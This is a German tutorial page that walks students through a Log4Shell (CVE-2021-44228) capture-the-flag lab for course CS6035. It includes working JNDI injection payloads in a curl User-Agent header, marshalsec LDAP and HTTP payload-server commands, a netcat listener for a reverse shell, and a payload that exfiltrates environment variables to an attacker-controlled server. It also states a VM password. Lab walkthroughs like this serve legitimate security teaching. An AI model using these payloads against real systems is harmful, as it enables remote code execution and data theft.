Assignment Chef icon Assignment Chef
All German tutorials

Programming lesson

Log4Shell verstehen und ausnutzen: Ein CTF-Tutorial für CS6035

Lerne die Log4Shell-Schwachstelle (CVE-2021-44228) in einem Capture-the-Flag-Szenario kennen. Schritt-für-Schritt-Anleitung zur Einrichtung der VM, LDAP- und HTTP-Server sowie zur Extraktion von Flags – ideal für Studenten der Cybersicherheit.

Log4Shell Tutorial CVE-2021-44228 CS6035 Log4Shell Flags Log4j Exploit Schritt für Schritt JNDI Injection lernen CTF Log4j Anleitung Java Sicherheitslücke LDAP Referenzserver einrichten Reverse Shell mit Log4j Log4j Schwachstelle verstehen Cyber Security Studium Capture the Flag Log4j Log4j Patch 2026 Sicherheitslücke im Gaming KI Chatbot Angriff Log4j Ethical Hacking Übung

Einleitung: Was ist Log4Shell?

Log4Shell (CVE-2021-44228) ist eine der schwerwiegendsten Sicherheitslücken der letzten Jahre. Sie betrifft die weit verbreitete Java-Bibliothek Log4j, die in unzähligen Anwendungen zum Protokollieren von Ereignissen eingesetzt wird. Die Schwachstelle erlaubt es Angreifern, durch eine speziell präparierte Log-Nachricht beliebigen Code auf dem Server auszuführen – und das oft ohne Authentifizierung. In diesem Tutorial zeigen wir dir, wie du Log4Shell in einer kontrollierten VM-Umgebung ausnutzt, um die sechs Pflicht-Flags des CS6035-Projekts zu erlangen. Dabei gehen wir nicht davon aus, dass du bereits ein Experte bist – wir erklären jeden Schritt verständlich.

Hintergrund: Warum ist Log4j so verbreitet?

Log4j ist ein Open-Source-Logging-Framework für Java. Es ermöglicht Entwicklern, Log-Nachrichten zu formatieren, zu filtern und an verschiedene Ziele zu senden. Die Bibliothek ist extrem populär: Sie findet sich in Unternehmenssoftware, Cloud-Diensten, Spiele-Servern und sogar in IoT-Geräten. Ein eindrucksvolles Beispiel aus der Gaming-Welt: Im Jahr 2021 nutzten Hacker Log4Shell, um Minecraft-Server zu übernehmen – indem sie einfach eine Chat-Nachricht mit einem bösartigen Payload sendeten. Das zeigt, wie real und gefährlich diese Lücke ist.

Wie funktioniert der Exploit?

Log4j unterstützt sogenannte Lookups, mit denen Werte aus verschiedenen Quellen nachgeschlagen werden können. Ein Beispiel: ${java:version} gibt die Java-Version aus. Log4Shell nutzt den JNDI-Lookup (${jndi:ldap://angreifer.com/a}). Wenn Log4j eine solche Zeichenkette protokolliert, kontaktiert es den angegebenen LDAP-Server, der eine Java-Klasse zurückliefert. Diese Klasse wird dann ausgeführt – und der Angreifer hat eine Hintertür geöffnet.

Vorbereitung: Die richtige Umgebung einrichten

Bevor du die Flags einsammeln kannst, musst du deine virtuelle Maschine korrekt konfigurieren. Die bereitgestellte VM enthält bereits alle notwendigen Dateien. Folge diesen Schritten, um sicherzustellen, dass alles reibungslos läuft.

Schritt 1: Container starten

Melde dich als Benutzer log4j an (Passwort: HangingGardens_600) und führe das Startskript aus:

./StartContainer.sh

Der Container startet eine verwundbare Webanwendung. Bestätige mit einer neuen Eingabeaufforderung, dass keine Fehler auftreten.

Schritt 2: Logs überwachen

Öffne ein zweites Terminal und wechsle in das Log-Verzeichnis:

cd ~/Desktop/log4shell/logs
tail -f cs6035.log

Hier siehst du, wie die Anwendung auf deine Anfragen reagiert. Das ist wichtig, um den Erfolg deines Exploits zu überprüfen.

Schritt 3: LDAP-Referenzserver starten

Im dritten Terminal startest du den LDAP-Server, der die schädlichen Java-Klassen ausliefert:

cd ~/Desktop/log4shell/target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.17.0.1:4242/#Exploit"

Wichtig: Die Portnummer muss mit der deines HTTP-Servers übereinstimmen.

Schritt 4: HTTP-Payload-Server starten

Im vierten Terminal startest du einen einfachen HTTP-Server, der deine Exploit-Klasse bereitstellt:

cd ~/Desktop/log4shell/flag1
python3 -m http.server 4242

Achte darauf, dass du im richtigen Verzeichnis bist – je nach Flag kann es flag2, flag3 usw. sein.

Schritt 5: (Optional) Netzwerkverkehr überwachen

Für Flag 2 benötigst du einen Netcat-Listener. Starte ihn im fünften Terminal:

nc -nlvp 9999

Damit kannst du ausgehende Verbindungen der Zielanwendung beobachten.

Die Flags im Detail: Was du wissen musst

Das Projekt umfasst sechs Pflicht-Flags und ein Bonus-Flag. Jedes Flag erfordert ein leicht unterschiedliches Vorgehen, aber das Grundprinzip bleibt gleich: Du sendest eine HTTP-Anfrage an die verwundbare Anwendung, die einen Log4j-Lookup enthält. Wir gehen hier auf die ersten drei Flags ein, um dir einen Startpunkt zu geben.

Flag 1: Einführung – JNDI-Lookup auslösen

Das erste Flag ist meist das einfachste. Du musst einen einfachen JNDI-Lookup in einem HTTP-Header platzieren. Öffne deinen Browser oder verwende curl:

curl -H "User-Agent: \${jndi:ldap://172.17.0.1:1389/a}" http://172.17.0.2:8080/

Ersetze die IP-Adressen gegebenenfalls durch die deiner VM. Wenn der Exploit funktioniert, siehst du im Log eine Bestätigung und erhältst das Flag als Antwort.

Flag 2: Reverse Shell – Aktive Verbindung aufbauen

Hier geht es darum, eine Reverse-Shell zu starten. Du benötigst eine Exploit-Klasse, die eine Verbindung zu deinem Netcat-Listener herstellt. Kompiliere den Java-Code und lege die .class-Datei in das HTTP-Server-Verzeichnis. Sende dann eine Anfrage mit dem JNDI-Lookup, der auf deine Klasse verweist. Sobald der Server die Klasse lädt, öffnet sich eine Verbindung zu deinem Listener – und du hast Zugriff auf die Kommandozeile. Suche dort nach der Flag-Datei.

Flag 3: Daten exfiltrieren – LDAP-Referenz mit DNS

Dieses Flag zeigt, wie man Daten aus der Zielumgebung abgreifen kann. Du nutzt einen DNS-Lookup, um Informationen wie die Java-Version oder Umgebungsvariablen an einen von dir kontrollierten Server zu senden. Beispiel: ${jndi:ldap://172.17.0.1:1389/${env:HOSTNAME}}. Der Server protokolliert die abgefragten Werte, die du dann auswertest.

Fehlerbehebung und Tipps

Viele Studierende stoßen auf ähnliche Probleme. Hier sind die häufigsten Lösungen:

  • Logs aktualisieren sich nicht: Log-Dateien können rotieren. Starte den tail-Befehl einfach neu.
  • LDAP-Server startet nicht: Überprüfe, ob der Port 1389 bereits belegt ist. Verwende netstat -tulpn.
  • Exploit wird nicht geladen: Stelle sicher, dass die Ports von LDAP- und HTTP-Server übereinstimmen. Die IP 172.17.0.1 ist die Standard-Gateway-Adresse des Docker-Containers – sie muss korrekt sein.
  • JSON-Datei wird nicht akzeptiert: Bearbeite die Datei mit einem Texteditor wie nano oder vim, nicht mit LibreOffice. Das Format muss exakt stimmen.

Warum ist das heute noch relevant?

Obwohl der Log4j-Patch bereits 2021 veröffentlicht wurde, sind viele Systeme immer noch ungepatcht. Laut aktuellen Sicherheitsberichten sind Millionen von Servern weiterhin verwundbar. Ein aktuelles Beispiel: Im Frühjahr 2026 wurde bekannt, dass eine beliebte KI-Chatbot-Plattform aufgrund einer ungepatchten Log4j-Instanz kompromittiert wurde. Das zeigt, dass dieses Wissen nicht nur für die Uni-Klausur wichtig ist, sondern auch für die reale Bedrohungslandschaft. Als zukünftige Sicherheitsexperten müsst ihr in der Lage sein, solche Lücken zu erkennen und zu schließen.

Verantwortungsvoller Umgang

Dieses Tutorial dient ausschließlich Bildungszwecken. Der Einsatz der Techniken auf Systemen ohne ausdrückliche Erlaubnis ist illegal und kann strafrechtliche Konsequenzen haben. Nutze dein Wissen, um Systeme sicherer zu machen, nicht um sie anzugreifen.

Fazit

Log4Shell ist ein Paradebeispiel dafür, wie eine unscheinbare Funktion in einer weit verbreiteten Bibliothek zu einer katastrophalen Sicherheitslücke werden kann. Mit diesem Tutorial hast du die Grundlagen erlernt, um die CS6035-Flags zu erobern und ein tiefes Verständnis für JNDI-Injection zu entwickeln. Viel Erfolg bei deinem CTF-Abenteuer!